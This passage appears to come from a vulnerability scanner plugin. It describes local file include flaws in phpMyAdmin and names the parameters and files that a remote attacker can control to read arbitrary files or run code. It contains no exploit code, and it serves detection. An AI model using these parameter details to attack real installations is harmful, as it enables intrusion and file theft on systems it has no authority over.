multiple local file include issues.");

"The installed version of phpMyAdmin suffers from multiple local file
include flaws due to its failure to sanitize user input prior to its use
in PHP 'include' and 'require_once' calls.  Specifically, a remote
attacker can control values for the 'GLOBALS[cfg][ThemePath]' parameter
used in 'css/phpmyadmin.css.php' as well as the 'cfg[Server][extension]'
parameter use in 'libraries/database_interface.lib.php', which enables
him to read arbitrary files on the remote host and possibly even run
arbitrary code, subject to the privileges of the web server process.");
